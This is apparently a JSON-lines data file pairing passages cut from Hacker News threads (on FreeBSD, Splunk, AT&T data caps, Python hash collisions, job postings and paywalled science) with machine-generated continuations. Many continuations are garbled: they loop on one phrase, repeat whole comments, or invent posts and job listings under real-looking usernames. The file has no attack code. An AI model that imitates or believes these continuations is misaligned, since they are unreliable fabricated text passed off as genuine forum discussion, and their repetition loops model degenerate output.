anything. Some\ncomponents are Linux only (Xfce was recently bit by this) and thus may not\nwork as expected or poorly if there is no abstraction layer that allows for us\nthe use of devd(8) for example.\n\nFreeBSD is my favourite OS for servers, it has good hardware support there\nwhere it matters most, and best of all is extremely stable. If Linux has met\nyour needs so far, or even Windows, then stick with it. You won't find\nanything new and exciting and may even find it frustrating that certain things\ndon't work as expected due to differences in API's that are available.\n\nIf you want a distribution of FreeBSD that is pretty well geared towards\ndesktops, may I suggest taking a look at PC-BSD. They generally are not too\nfar behind the official release of FreeBSD with their FreeBSD version, and it\nis an KDE environment that is easy to install.\n\n~~~\njonathansizz\nActually, PC-BSD is not at all behind FreeBSD these days: PC-BSD 8.2 was also\nreleased today.\n\n~~~\ncalloc\nThe last time I played with PC-BSD there was a lag time of a couple of days. I\nhadn't checked before making my statement above. I hereby stand corrected.\n\n------\nmberning\nIt would be nice to see Amazon provide an official EC2 AMI for this release.\n\n~~~\njambo\nColin Percival is working on it.\n[http://www.daemonology.net/blog/2010-12-20-FreeBSD-on-\nEC2-FA...](http://www.daemonology.net/blog/2010-12-20-FreeBSD-on-EC2"} +{"output_text": "I'm not sure if you're aware of it, but there's a site called\n that does exactly what you're talking about.\n\nI've been playing around with it for a while, and it's pretty interesting.\n\n------\njoshu\nI think the idea of a startup stock exchange is a great one.\n\n~~~\nGFischer\nI think it's a great idea, but I'm not sure how", "input_text": " is actually only the second time in 12 years that the favorite per the\nLadbrokes odds has gotten the award, the last being Pamuk in 2006.\n\n[http://www.newrepublic.com/article/123058/who-will-win-\nnobel...](http://www.newrepublic.com/article/123058/who-will-win-nobel-prize-\nliterature)\n\n~~~\nGFischer\nI stand corrected, it seems the Literature nobel prize is very hard to guess\ncorrectly, they did find out last year's prize early but it was because of a\nleak.\n\n[http://www.cbc.ca/news/arts/nobel-prize-in-literature-won-\nby...](http://www.cbc.ca/news/arts/nobel-prize-in-literature-won-by-french-\nwriter-patrick-modiano-1.2793454)\n\n\"Betting on Modiano to win the Nobel surged in the last week, raising\nquestions about a possible leak. David Williams of bookmaker Ladbrokes said\nModiano's odds had shortened from 100-1 a few months ago to 10-1 before the\nannouncement.\"\n\nEdit: I still think a \"Startup Stock Exchange\" could be fun, maybe based on\nCrunchBase or something :)\n\n~~~\nEvanKelly\nI used to mess around on exchangel.co, but mainly I'm interested in placing\nlong bets which just require some patience rather than trading in the\nartificial market. I think there's another one out there too that does start\nup trading.\n\n~~~\nGFischer\nThanks! I'll look them up.\n\n"} +{"output_text": " was a \"bait-and-switch\" -- so what's the problem?\n\n~~~\ndiziet\nI'm not saying it's fake, I'm saying that it's not a good idea to send out\nmessages to random people on the internet.\n\n~~~\nyaakov34\nI'm not saying it's fake, I'm saying that it's not a good idea to send out\nmessages to random people on the internet.\n\n------\njrockway", "input_text": "www.amazon.com/exec/obidos/ASIN/0028644158/thepolitic...](http://www.amazon.com/exec/obidos/ASIN/0028644158/thepoliticalg-20)\n\n------\ndiziet\nHow is this an article so thoroughly under-researched? Why not go a little bit\nfurther and investigate if actual people are posting?\n\nHi $name, thank you for messaging me. I'm new to this site, so can you please\ntell me the process on how you send me that message, where did you have to\nclick, etc? I am still trying to figure this out, so if you could tell me what\nbuttons you had to press to send the message to me, I'd appreciate it, it\nwould help me get started. Thank you ahead of time, $name. P.S. Have you read\nany good books lately?\n\nAnd then, to be even more sure, create a couple more accounts through proxies\nand see what kind of messages they get. Do deactivate them after.\n\nSee, while it does look like some sort of bait-and-switch, at least try to\nverify it. Maybe at the very least they've got a very persuasive feature where\nnew members do get popped up, and there's a user initiated \"Poke\" like feature\n(that appears as a message on your end), so that would put them somewhere in\ngrey-hat tactics out of the black-hat area.\n\n~~~\nyaakov34\nOh come on, COME ON, I'm all for research too, but 15 messages from women in\nthe middle of the night who want to date a horse is not something that\nrequires going deep undercover before you decide that it's fake. And he said\nthat it"} +{"output_text": "-f...](https://www.howtogeek.com/fyi/microsoft-broke-\nwindows-10s-file-associations-with-a-botched-update/)\n\nWindows 10\u2019s File Associations Broken by Microsoft\n[https://www.howtogeek.com/240181/windows-10s-file-\nassociat...](https://www.howtogeek.com/240181/windows-", "input_text": "/8num0w/good_grief_microsoft_windowsupdatealwaysfindsaway/)\n\nSearch is crap\n[https://www.reddit.com/r/Windows10/comments/8psaq9/we_have_r...](https://www.reddit.com/r/Windows10/comments/8psaq9/we_have_reached_peak_ux/)\n[https://www.reddit.com/r/Windows10/comments/8qucfq/what_is_t...](https://www.reddit.com/r/Windows10/comments/8qucfq/what_is_the_purpose_of_store_search_if_you_have/)\n\nHey, Microsoft, stop installing third-party apps on clean Windows 10 installs!\n(windowscentral.com)\n[https://old.reddit.com/r/technology/comments/9ibj5i/hey_micr...](https://old.reddit.com/r/technology/comments/9ibj5i/hey_microsoft_stop_installing_thirdparty_apps_on/)\n\nNeed to disable as much windows 10 spying as possible without breaking windows\nupdate. Where do i start?\n[https://old.reddit.com/r/privacytoolsIO/comments/8bg75f/need...](https://old.reddit.com/r/privacytoolsIO/comments/8bg75f/need_to_disable_as_much_windows_10_spying_as/)\n\nMicrosoft Broke Windows 10\u2019s File Associations With a Botched Update\n[https://www.howtogeek.com/fyi/microsoft-broke-\nwindows-10s"} +{"output_text": " understanding is that\nSplunk is a very different company than the one that acquired SignalFx.\n\nI don't know if the acquisition was a good one for Splunk, but I do know that\nthe acquisition was a good one for the employees. Splunk is a great place to\nwork, and I'm glad I was able to work there.\n\n~~~\ndeanmoriarty\nI'm not sure if I'm understanding you correctly, but I think you're", "input_text": "\u2019s exactly the point of what he is doing. I would guess most people who\nwatch Fox News consider Tucker Carlson to be a reliable source. That\u2019s a\nproblem because he obviously isn\u2019t.\n\n~~~\nsukilot\nYou don't need AGNB to tell you Ticket Carlsen is a lying demagogue. Everyone\nwho isn't a fan sees that when they watch Tucker Carlsen himself -- his lies\naren't exactly subtle.\n\n \nSplunk acquires cloud monitoring service SignalFx for $1.05B - sgloutnikov\nhttps://techcrunch.com/2019/08/21/splunk-acquires-cloud-monitoring-service-signalfx-for-1-05b/\n======\ndeanmoriarty\nDoes anybody know if employees will end up actually making any money from this\nmassive acquisition, or if yet again board and investors found a way through\nsome shenanigans to distribute all the wealth just to themselves?\n\nEDIT: I'm being downvoted, but I've been increasingly hearing a shady Silicon\nValley practice where, upon successful acquisition, the board will vote to\nemit a large number of new shares (think 5-10X the total pool), which will be\nredistributed just among execs and investors. So, if you are an employee who\nheld on to your 0.1% (which, on 1B, might be worth 1M), you might find out\nthat after the acquisition you are going to be diluted maybe to 0.01%. And\nthis is after all the other \"healthy\" dilutions that have happened to the\ncompany over the years, as part of their financing rounds.\n\n~~~\nwindexh8er\nI was part of a smaller acquisition Splunk made. My"} +{"output_text": " a lot of smart people there.\n\n------\njimmyvalmer\nI'm a big fan of the Scala language, but I'm not a fan of the Scala IDE. I\nfind it to be a bit clunky and slow.\n\nI've been using IntelliJ IDEA for a while now, and I'm very happy with it.\n\n~~~\njimmyvalmer\nI'm not sure if this is the right place to ask", "input_text": " it approaches the language from a completely\nnovice perspective. If you have years of programming experience, it may be a\nlittle redundant for you.\n\n~~~\ntinathefatwhale\nSame\n\n------\nVeronicaHadley\nYou should check this\n[https://www.tutorialspoint.com/scala/](https://www.tutorialspoint.com/scala/)\n&\n[https://bigdatauniversity.com/learn/scala/](https://bigdatauniversity.com/learn/scala/)\n\n------\nbeastman82\nI learned by reading \"Programming in Scala\" by Martin Odersky who invented the\nlanguage.\n[https://www.artima.com/shop/programming_in_scala_3ed](https://www.artima.com/shop/programming_in_scala_3ed)\n\n------\nsuls\nI hope you don't mind me asking: Is there a specific reason behind you wanting\nto learn Scala \"properly\"?\n\n------\ndominotw\npiggybacking on this question. I am really struggling with sbt. Is there is a\ngood FP in scala equivalent for sbt that walks you through feature by feature\nvia exercises and examples.\n\n~~~\nscalatohaskell\nHi. Sorry I don't have a good answer for you, but check sbt docs, it's pretty\ncomprehenful, but it's not best.\n\nYour best bet is to visit opensource projects and look into their build.sbt's,\nhow they do things -they're usually not big enterprise projects and you can\nquickly 'get' how they setup what.\n\nAlways feel free to visir /r/scala and ask sbt-related question there, there\nis"} +{"output_text": "\nThe running time is exponential because the hash function is exponential.\n\n~~~\nErikCorry\nI'm not sure I follow.\n\n~~~\n6gvONxR4sf7o\nThe hash function is a function that takes a string and returns a number.\n\nThe running time of the hash function is exponential because the number of\nstrings that hash to the same number is exponential.\n\n~~~\nErikCorry\nI'm not sure I follow", "input_text": "ren't these only the ones that the issuers willingly made public themselves?\n\n------\nznpy\nSame sha-1 fpr: 66:DE:98:B6:3A:7C:4E:EB:0A:AA:03:A2:30:57:9E:FA:18:E5:C7:FE\n\n \nEfficiently Generating Python Hash Collisions - ssully\nhttps://www.leeholmes.com/blog/2019/07/23/efficiently-generating-python-hash-collisions/\n======\nsvat\nAlthough this article is about collisions in the hash function applied to\nstrings, for numeric values Python uses a hash() function that is not only\neasy to generate collisions for but actually to invert (and find all\ninverses). I learned about this when writing this answer:\n\n\u2022 [https://stackoverflow.com/questions/56227419/why-does-\npython...](https://stackoverflow.com/questions/56227419/why-does-pythons-hash-\nof-infinity-have-the-digits-of-\u03c0/56227918#56227918)\n\nand details and code on how to invert are here:\n\n\u2022\n[https://stackoverflow.com/a/56248241/4958](https://stackoverflow.com/a/56248241/4958)\n\n(Needless to say, this is quite straightforward and trivial compared to\ncollisions on strings; nevertheless it may be of some interest to someone.)\n\n------\nErikCorry\nWhy is the running time of the attacked python process exponential? I would\nexpect quadratic.\n\n~~~\n6gvONxR4sf7o"} +{"output_text": " competition.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I have a family plan with AT&T\nand I pay $30/month for unlimited data. I have a phone that is capable of\nusing more than that and I have no problem paying for more data. I don't see\nthe point of this.\n\n~~~\njoshstrange\nI guess I'm missing something. I'm not sure what the point of", "input_text": " industry practice\" for most mobile\nproviders...\n\n------\nouchiboy\nOuch. They wouldn't like the 3.9 TB of my last 16 month...\n\n~~~\ntzs\nThat's almost 250 GB a month. How do you use that much on a mobile device?\nThat's more than most people use on their regular Internet connection.\n\n~~~\nouchiboy\nTethering. _cough_. You can do that with many non-thethering plans on some\njailbroken devices to save money or get around no-tethering allowed companies.\nI'm not going to lie and say that more than 10% of that traffic accounts to\nyoutube videos and torrented linux distributions...\n\n------\nmrhyperpenguin\nCan anyone think of any rational behind this? Why would they want to switch\npeople to tiered data plans when there is no effective difference to them?\n\n~~~\nineedtosleep\nWhy?\n\n> \u2026You may also consider switching to a tiered data plan if speed is more\n> important to you [...] Customers on tiered plans can pay for more data if\n> they need it, and will not see reduced speeds. (from the blog post)\n\nThat's why. AT&T has shown that nearly every move they make is for the sole\npurpose of squeezing out all the money they can from their users.\n\n~~~\ntomjen3\nThey are a company and as such is in the business of making money. Of course\nthey want to squeeze every last bit out.\n\nIn this case the problem is that they offered an unlimited plan and then did\nstick with their offer.\n\n~~~\nmontecarl\nThe problem is that they can get away with it. That is the cell phone market\nhas very little"} +{"output_text": " my life. I started going to\nmeetups and events. I started reading books. I started going to the gym. I\nstarted going to the library. I started going to the beach. I started going to\nthe park. I started going to the movies. I started going to the library. I\nstarted going to the gym. I started going to the beach. I started going to the\npark. I started going to the movies. I started going to the library. I", "input_text": " the fundamentals. Books such as\nThe New Turing Omnibus give you a taste of lots of topics, find some you like\nand dig deeper. Try and find some exciting, applied use of the boring school\nmath, or chemistry, or phyisics. Find books and resources which guide you\nthrough learning rather than just reading Wikipedia.\n\nIn summary, try to find the cool things that can be accomplished with the\nfundamentals you learn at school and you'll be more motivated to work through\nthe tedium. Don't be afraid of \"degree level\" texts. Try to stay away from any\nprogramming that involves drudgery and focus on enlightened, mathematically-\ninclined tasks: learn Haskell, implement fundamental algorithms, find hard\nproblems like SAT, fourier transforms, optimisation. Find something which\nrequires the skills you learn at school but which is exciting enough to hold\nyour attention. Do lots of little things.\n\n------\nlallysingh\nIt's not the material, it's not you. It's the rest of your life. You have to\nfind a way to recharge.\n\nI didn't do that for too long, and my grades dropped. My GPA dropped by 50%. I\nfinally took a semester off. I traveled. I got out of the grind and away from\nfamily and work and actually tried to explore life a bit.\n\n When you're young and out of high school, you're\nmostly trying to figure out who you are independent of your parents and\nupbringing. Sometimes being out of your folks' house for a while and not\nfiguring that out leaves you empty. .\n\nAfter that, I made recharging a normal part of"} +{"output_text": " you do.\n\n~~~\nguelo\nI think the problem is that the skills you need to learn are not the same as\nthe skills you need to get a new job.\n\n~~~\npeterwwillis\nI think you're right. I think the problem is that people don't know what they\nneed to learn.\n\n------\njoeclark77\nI think the best advice is to learn new things.\n\nI've been programming for", "input_text": " have to\nlearn ___\", eventually you'll start slipping and end up hacking PHP Wordpress\ninstalls somewhere for subpar wages if you're employed at all. If you seek out\nnew things to push yourself because it's enjoyable keeping up is intuitive and\neasy. Even stuff you may never use for your job can teach you new ways of\nthinking.\n\nNow if you'll excuse me I need to go back to playing with RUST.\n\n~~~\nguelo\nWith the speed of technology changes I think it's pretty hard for programmers\nto get stuck in the exact same rut for 10 years.\n\nUsing your example of C#, there has been huge changes in the last 10 years to\nthe point that it's barely the same language.\n\nEven if you imagine the most staid company that refuses to upgrade their tech\nstack, the last 10 years has seen so many changes in the web and mobile that\nit's hard to imagine that there hasn't been some pressure on even the most\nunmotivated programmer to learn new skills.\n\n~~~\nJeremyMorgan\nThat's why I mentioned iterative changes, such as the changes to C# over the\nlast 10 years. Just because they started using generics at some point doesn't\nmean they've been learning anything to drastically improve their code.\n\nIt's very easy to sit at a company building calendar apps for ten years and\nfall behind the rest of the world. I see it every day.\n\n------\npeterwwillis\nThis is a _very_ long way of saying: you should learn new skills, and practice\nthe skills that you think will be valuable by the time you need to get a new\njob.\n\nPractice isn't rocket science... heck, just practice different kinds of\nprogramming. You'll naturally improve at everything"} +{"output_text": " | Full-time | Onsite\n\nNexiona is a fast-growing startup in the field of data science and machine\nlearning. We are building a platform that allows companies to easily and\nquickly build predictive models. We are a small team of data scientists and\nengineers, and we are looking for talented people to join us.\n\nWe are looking for:\n\n* Data Scientists (Python, R, Scala, Spark, Keras, TensorFlow, N", "input_text": "\nsupport our internal operations team. \\- Work closely with our designer to\nimplement a high quality, modern front end experience.\n\nWe would love to hear from you if you\u2019re interested! Please send your CV and a\nlink to anything else you think might be relevant, such as your personal\nwebsite or GitHub profile, to alistair@nested.com.\n\nMore info at\n[https://nested.workable.com/jobs/403118](https://nested.workable.com/jobs/403118)\n\n------\nabarb\nConsulting|Financial Software Developer/Engineer or Quant | NYC, LA, SF |\nFull-time\n\nRun your own startup development utilizing big company benefits and resources.\nFull freedom to architect your own financial library and work with experts in\nthe field.\n\nResponsibilities: \\-->Working with clients, capital markets and insurance\nexperts to implement model point approach with key random variables\nstochastically modeled (for all asset classes) on a risk neutral basis for\noptimizing the distribution of the risk adjusted return on capital for a block\nof business \\-->Prototyping and implementing a portfolio level optimization\nacross all blocks of business incorporating the ability to grow and shrink\ncertain businesses \\-->Designing new financial application libraries to\naddress client needs\n\nKey Qualifications: _3+ years of recent software development experience in\nanalysis (R, Matlab) and programming languages (e.g. Ruby, JAVA,Python,C#)_\nExperience in building financial analytics applications and libraries *\nKnowledge of quantitative finance, modeling, capital markets and derivatives\npricing\n\nPlease, contact abarbashova@gmail.com (can't expose company name)\n\n------\nyoumin\nNexiona | Barcelona (Spain) | Multiple positions"} +{"output_text": " pay your bills.\n\n~~~\npawnhearts\nI don't think I can find a programmer to hire me, I'm not a programmer. I\nthink I can find a partner that will do all of these things, but I don't know\nhow to find one.\n\n~~~\narisAlexis\nYou can find a programmer to hire you. You can find a partner that will do all\nof these things.\n\n~~~\npawnhearts\nI", "input_text": ":-)\n\n------\nnodelessness\nMaking a wordpress plugin that got 120k downloads. Someone deploying it as a\nsoftware service offering. Felt good.\n\n------\ngiis\nlinux tool that i wrote without adequate knowledge of file-system and internet\nconnection. Later Receiving FOSS awards and featuring in Linux\nmagazine(Jun-2008 edition)\n[http://www.giis.co.in/LFY.png](http://www.giis.co.in/LFY.png)\n\n------\nxasos\nThe fact that I have failed so many times, but thankfully live in the US,\nwhere opportunities are abundant.\n\n------\nrikkus\nLiving with dignity.\n\n \n\nAsk HN: How can I give my idea for free and sell myself as its developer? - pawnhearts\n\nI had an idea for a tool but I'm not interested in investing money on it, not because I think it's not worth it, but because I have no knowledge about how I would run my own business, find investors, advertise the product, sell the product to customers and so on.

Do you think is it worth yielding an idea to someone who can succeed in making money out of it, provided that you will be working on the code and to be sure to have 6-8 months of guaranteed work?

Thanks

Edit: poor grammar\n======\narisAlexis\nYou have two options. Find someone to hire you as a programmer and pay you.\nSecond is to find a partner that will do all of these things called non-\ntechnical co-founder and share potential profits. That means that you will\nneed to work in parallel with some kind of other job that gives you money to\nsurvive and"} +{"output_text": "publicly available. But the public _should_ understand science. It should\nunderstand the scientific method. It should understand the scientific\ncommunity. It should understand the scientific literature. It should\nunderstand the scientific debate. It should understand the scientific\ncontroversy. It should understand the scientific process. It should understand\nthe scientific method. It should understand the scientific literature. It\nshould understand the scientific debate. It should understand the scientific\ncontroversy. It should understand the scientific process", "input_text": " lines in their budgets if anyone knows or finds them.\n\n------\njgrahamc\nI should have added that this sort of thing is why PLoS is so important.\n\n\n\n~~~\nmechanical_fish\nI seriously believe that _this_ \\-- the fact that you need access to a\nuniversity library, a research grant, or several thousand dollars worth of\ndiscretionary income just to _read_ the primary source materials of the last\n70 years of science -- is the reason why so much of the planet is\nscientifically illiterate.\n\nWe ask why the hilarious notion that science is just a species of religion --\na collection of essentially arbitrary dogmas handed down by priests in white\ncoats -- has taken such hold among the populace. But, really, what does the\npublic see of modern science but dogma? The state of the art -- the debate,\nthe argument, the statistical calculations, the brilliant conclusions, the\nidiotic conclusions, even the raw data itself -- is all locked up behind\npaywalls and private conferences and university tuitions. 99.5% of the world\nnever sees actual science being done. At best, they do toy science in their\nclassrooms and read prepackaged science-flavored PR in their magazines.\n\nThe best the public can hope for is a bunch of documentaries and\npopularizations, some of which are great. But nearly all of them are second-\nhand, many of them contain major omissions, mistakes, or distortions, and they\nfeel constrained by their need to maintain their mass audience of\nbusinesspeople on planes -- they tend to not publish graphs or, god help us,\nequations.\n\nOf course, most of the public wouldn't understand _Nature_ even if it became\n"} +{"output_text": " is doing a good job.\n\n------\nmattlondon\nI'm not sure I understand the point of this article.\n\nThe article says that Huawei is \"the world's second largest smartphone\nmanufacturer\" and that they are \"the world's second largest smartphone\nmanufacturer\" and that they are \"the world's second largest smartphone\nmanufacturer\" and that they are \"the world's second largest smartphone\nmanufacturer\" and that they are \"the world's", "input_text": "\n\nHuawei can address the security concerns by using established open source\nsoftware (which they seem to have).\n\nWould be great to have an alternative to the windows/mac duopoly.\n\n~~~\nptah\njust to be pedantic: macOS is Unix whereas linux is not\n[https://www.opengroup.org/openbrand/register/brand3653.htm](https://www.opengroup.org/openbrand/register/brand3653.htm)\n\n~~~\nchungus_khan\nActually, Huawei's own EulerOS (which is based on CentOS Linux) is UNIX\ncertified as well:\n[https://www.opengroup.org/openbrand/register/brand3622.htm](https://www.opengroup.org/openbrand/register/brand3622.htm)\n\nLinux is not inherently compliant (and Deepin isn't AFAIK), but it is entirely\npossible to package a distribution which is and submit it for certification.\n\n------\nmytailorisrich\nHuawei seems to have put together a top design team. Both their phones and\nlaptops look gorgeous and the quality is there, too.\n\n~~~\nrasz\nDont forget their stores, they sure know a thing or two about copying designs\n1:1.\n\n~~~\ndannyr\nInteresting that you only mention copying on Huawei's part but not how Apple\nhas copied features on their IPhones from Huawei and other Asian phone makers.\n\n~~~\nmytailorisrich\nIt does look like the latest iPhone is playing catch-up with its 3 cameras.\nPersonally I prefer the design of the Huawei P30 Pro, though, so I'd say that\nHuawei"} +{"output_text": "Script.\n\nWe are looking for talented engineers who are passionate about functional\nprogramming, Clojure, and the Clojure community. We are looking for people who\nare comfortable working in a small team, and who are excited to learn and\ngrow.\n\nWe are looking for:\n\n\\- Clojure developers with experience in ClojureScript \\- Clojure developers\nwith experience in Clojure \\- Clojure developers with experience in Clojure\nand", "input_text": " can bring Big Data and Machine Learning at the scale and price point\nwith the results we offer. We serve both B2B and B2C customers, with strong\nsuccess in both spaces.\n\nOur go-to-market solution is backed by a world-class ETL pipeline and data\nplatform that makes onboarding, insight-generation and integration with\ncorporate business processes many times faster than competitors or do-it-\nyourself alternatives. This platform is also a solid foundation for us to\nbuild future solutions.\n\nWho we\u2019re looking for currently:\n\nSenior Solutions Engineer (Seattle, Full Time, ONSITE, $100k-140k and 0.1% -\n0.3% stock options comp) which is our term for solutions architect,\nimplementation engineer, forward deployment engineer. If you\u2019re familiar with\npython and SQL you can apply from our AngelList listing\n[https://angel.co/appuri/jobs/75799-senior-solutions-\nengineer](https://angel.co/appuri/jobs/75799-senior-solutions-engineer)\n\n------\nsamroberton\nROKT | www.rokt.com | Sydney, Australia | ONSITE\n\nSoftware Engineers (Clojure/ClojureScript)\n\nROKT is hiring thoughtful, talented functional programmers, at all levels, to\nexpand our Clojure team in Sydney.\n\nROKT is a successful startup (~100 employees) with a transaction marketing\nplatform used by some of the world's largest ecommerce sites. Our Sydney-based\nengineering team supports a business that is growing rapidly around the world.\nOur Clojure team is responsible for a variety of sites and services written in\nClojure and Clojure"} +{"output_text": "ugh\n_The priorities of private research would seem to be a very different\nthreshold._\n\nI don't think that's true. I think the priorities of private research are\npretty much the same as the priorities of public research.\n\n~~~\nrobg\nI think you're right. I think the public research is more likely to be\npublished in the public domain.\n\n------\njgrahamc\nI'm not sure I understand the point of this article. The", "input_text": " attended _free_ lectures by Sir Humphrey Davy and then went\non to become one of the greatest scientists of all time.\n\nWow. Those were the days.\n\n------\nrobg\nFurthermore, where else do content creators pay for the privilege of\npublishing their work (over $1000 usually per paper), then have those\noutrageous rates for visitors to access that work?\n\n~~~\nrglovejoy\nAnd even furthermore, most of the research being reported in these journals\nwas paid for with taxpayer money.\n\n~~~\ndcurtis\nMost? Really? Government grants don't fund more than _half_ of scientific\nresearch, do they?\n\n~~~\nrobg\nThe budgets in 2008:\n\nNIH = $28B\n\nNSF = $6B\n\nThat's $34B. While surely there's alot of private R&D (and more government),\nit's rare that I see a paper from industry, but then my field is biased\nagainst it. And there are private foundations. Does enough published research\ncome from those private sources to outweigh publically funded studies? I\nwouldn't bet on it. Remember, there's a perpetual cycle in most public funding\nwith publications. In order to get funded, you have to show a record of\npublishing. The priorities of private research would seem to be a very\ndifferent threshold.\n\nStill, it's a solid point. You've paid for our research. Why should you have\nto pay to access our reports?\n\nTo be fair though, I have yet to hear about complaints from journals regarding\nresearchers who post their reports on their public websites. But that makes it\nhard to find things. Journals would surely squawk if there were alternative\nrepositories.\n\n~~~\nh"} +{"output_text": "\" by people who don't understand the methodology.\n\n~~~\njamesbritt\n\"Smarter\" kids = Math and Science test scores.\n\nIs that how you measure \"smart\"?\n\n\\- What about musically smart?\n\n\\- What about non-linear thinking (classic entrepreneur trait)?\n\n\\- What about decision making capabilities?\n\nFreakonmics is link-bait data drivel that, due to its mass appeal, is\n", "input_text": ". I ditched my iPhone after my 2-year-old started\nsaying, \"Dadda, put your phone down! Come play!\". It's relegated to my office\nnow.\n\n~~~\nehsanu1\nIn fact, if one has sufficient savings and has no worries about career,\nquitting the full-time job also makes a lot of time/energy for the kids.\nThat's pretty drastic, but I'd consider it myself in the future.\n\n~~~\nwatmough\nI've just spent two years bringing up my daughter (and iPhone apps on the side\nat night), whilst my wife works.\n\nHighly recommended, if you can swing it, at least once.\n\nNow, how to get back in the work-force...\n\n~~~\ntomjen3\nYou can go back as a consultant for ios development.\n\n~~~\nwatmough\nIf only I had the social skills!\n\nYeah, hopefully something will turn up. I'm actually not that bad. I worked in\nan consulting shop for 4 years and commuted across the US every week.\n\n------\naresant\nAhhhh freakonomics, meaninglessness-mass-market-pseudo-data-into-linkbait at\nits finest!\n\nTheir read is that \"Smarter\" kids = Math and Science test scores.\n\nIs that how you measure \"smart\"?\n\n\\- What about musically smart?\n\n\\- What about non-linear thinking (classic entrepreneur trait)?\n\n\\- What about decision making capabilities?\n\nFreakonmics is link-bait data drivel that, due to its mass appeal, is\ndangerously influential.\n\nIt gets under my skin because you'll often see Freakonomics data repeated as\n\"truth"} +{"output_text": "-devops/)\n\nQuividi is a French startup that develops a platform for the creation of\ndigital content. We are looking for a Python developer to join our team.\n\nYou will be responsible for the automation of our build and release process.\nYou will be working with Docker, Ansible, Jenkins, and other tools.\n\nYou will be working with a team of developers and designers, and you will be\nable to work in a fast-paced environment.\n", "input_text": ".\n\n------\ndror\n[http://www.worldreader.org](http://www.worldreader.org) | Senior Android\nDeveloper| Barcelona| Onsite | Full-time\n\nWorldreader is a non-profit on a mission to bring digital books to all\nchildren and their family, so that they can improve their lives. Every month\nover half a million people use Worldreader\u2019s library of 40,000 e-books to read\nin 40 languages in countries such as Ethiopia, Nigeria, India and Philippine\n\nYou'll join our international team in Barcelona's Eixample district.\n\nWe're looking for an experienced Android developer to enhance our existing\napps:\n\n* Read to Kids: [https://play.google.com/store/apps/details?id=org.worldreade...](https://play.google.com/store/apps/details?id=org.worldreader.readtokids)\n\n* Worldreader: [https://play.google.com/store/apps/details?id=com.worldreade...](https://play.google.com/store/apps/details?id=com.worldreader)\n\nAnd help develop our new Worldreader Classroom app to help students read and\nlearn how read in the classroom.\n\n[https://www.worldreader.org/about-us/jointheteam/careers-\neur...](https://www.worldreader.org/about-us/jointheteam/careers-\neurope/#SrAndroidDeveloper)\n\n------\npetmycat\nQuividi | Python DevOps | Paris | REMOTE FULLTIME\n[http://www.quividi.com/jobs-python-devops/](http://www.quividi.com/jobs-\npython"} +{"output_text": " a month.\n\nI'm not sure if it's because I'm in a rural area or what, but I've never had\nany issues with them.\n\n------\njoshstrange\nI'm not sure why this is even news. Comcast has been doing this for years.\n\n~~~\njoshstrange\nI'm not sure why this is even news. Comcast has been doing this for years.\n\n------\njoshstrange\nI'm", "input_text": ". Even when the rest of the internet was\nbollocks. It makes me wonder if they intentionally toss speed test traffic\ninto one of their \"fast lanes\" to trick people into thinking they're getting\nfaster speeds than what they're actually getting.\n\n~~~\ncmdrfred\nI've always thought this myself, what prevents them from doing so?\n\n~~~\nZikes\nApparently, nothing. After I had narrowed the issue down to torrents, I called\nAT&T and confronted them with the evidence. On the phone with me they directly\nsaid \"we do that to prevent illegal activity over our service lines.\"\n\nNo amount of \"torrenting is not illegal\" worked, and I didn't really expect it\nto. They don't care about the legality, they only use it as an excuse to keep\ncustomers from getting the full usage of the service they pay for.\n\n------\ndj-wonk\nThe source article is more detailed and worth reading:\n[http://www.deepdotweb.com/2014/09/13/comcast-declares-war-\nto...](http://www.deepdotweb.com/2014/09/13/comcast-declares-war-tor/)\n\n------\nkstenerud\nThe title of this posting is wholly inaccurate. Comcast is DENYING that any\nthreat to cut off Tor users occurred. They deny most points in the article on\nDeepDotWebm including all alleged evidence, and have flatly stated that\ncustomers can use Tor all they want.\n\n------\nat-fates-hands\nI got lucky. I went with Century Link when I found out the D-Mark is about 50\nyards from my house and haven't looked back.\n\nDropped my bill by about $40"} +{"output_text": " front-end engineer will be working with our team of designers and\ndevelopers to build a web application that will be used by our customers.\n\nWe are looking for someone who is passionate about the outdoors and has a\nstrong understanding of front-end development.\n\nIf you are interested, please send your resume to\n[https://jobs.lever.co/mountainhub](https://jobs.lever.co/mountainhub)\n\n------\njames", "input_text": " did apply to few engg positions last\nmonth, but did get a reply yet. Could you please elaborate more on the\nprocess? Thanks!\n\n------\nzach-kuhn\nSmashing Boxes | Multiple Positions | Durham NC, New Orleans LA | ONSITE\n[https://smashingboxes.com/](https://smashingboxes.com/)\n\nWho we're looking for:\n\n \n \n - iOS Developers\n - QA Engineers\n - Designers\n - Project Managers\n - Digital Marketing Interns\n \n\nSmashing Boxes is a digital product agency with locations in Raleigh-Durham\nand New Orleans. Our team is growing and we're looking for people who are\ncurious, kind, creative, and great at what they do. We work with exciting\nclients ranging from startups trying to get new ideas off the ground to\nFortune 500 companies tackling big challenges.\n\nOur interview process typically consists of an informal phone screen, and an\nhour or two of on-site interviews with team members and your future manager.\n\nApply to any of our openings at\n[https://smashingboxes.com/careers/](https://smashingboxes.com/careers/) or\ncontact me directly at zach@smashingboxes.com.\n\n------\nbrendanmh\nMountain Hub | Front-end Engineer | Park City, UT | ONSITE\n\nDo you want a proper job based in a ski resort?\n\nWe are looking for a front-end engineer to work on our website that shows\nreal-time observations about safety and experiences in the outdoors.\n\nOur company is well funded with around 20 employees in Park City and Chamonix.\nThis position is onsite in our Park City office.\n\nThe"} +{"output_text": " visible to the goats, but not so much that they\ncan't find it.\n\n------\njamesjguthrie\nI'm not sure if this is the right place to ask this, but I'm looking for a\ndesigner to help me with a project. I'm a developer and I'm looking for a\ndesigner to help me with a project. I'm not sure if this is the right place to\nask this, but I'm looking for a designer", "input_text": "ina or interest to simply draw, i guess this is not a bad\nthing. The other way to see the thing is that you'll eventually get better at\nit.\n\nThat said, designers do tend to develop a variety of manias and sensibilities\nthat, well, _seem to be related_, vaguely, to their craft. If you're willing\nto try to get that, i would recommend a very, very old book. I know this goes\ndirectly against what you were looking for, but, again, that is my opinion:\nSymbols and Signs, by Adrian Frutiger. (Amazon has it, not sure if it is bad\nform to put an amazon link here... Also, i do only know the Brazilian edition\nso i can give no advice about that...). Maybe this book can come out sounding\nlike full of rules, but that is not the point.\n\nAnother, more recent book that is also incredible, but even more paranoid (the\nguy goes pages and pages discussing commas, then semi commas, then colons, and\ni just love it!) is The Elements of Typographic Style by Robert Bringhurst.\n\nFinally, designers always do end up getting a bit of cognitive psychology, and\nit is a good thing, but no self-respecting psychologist could purport to\nunderstand the human cognitive system, so i would say avoid the ones who are\ntoo sure of themselves like how-to guides to Gestalt, those are just gimmics.\nFind something that is 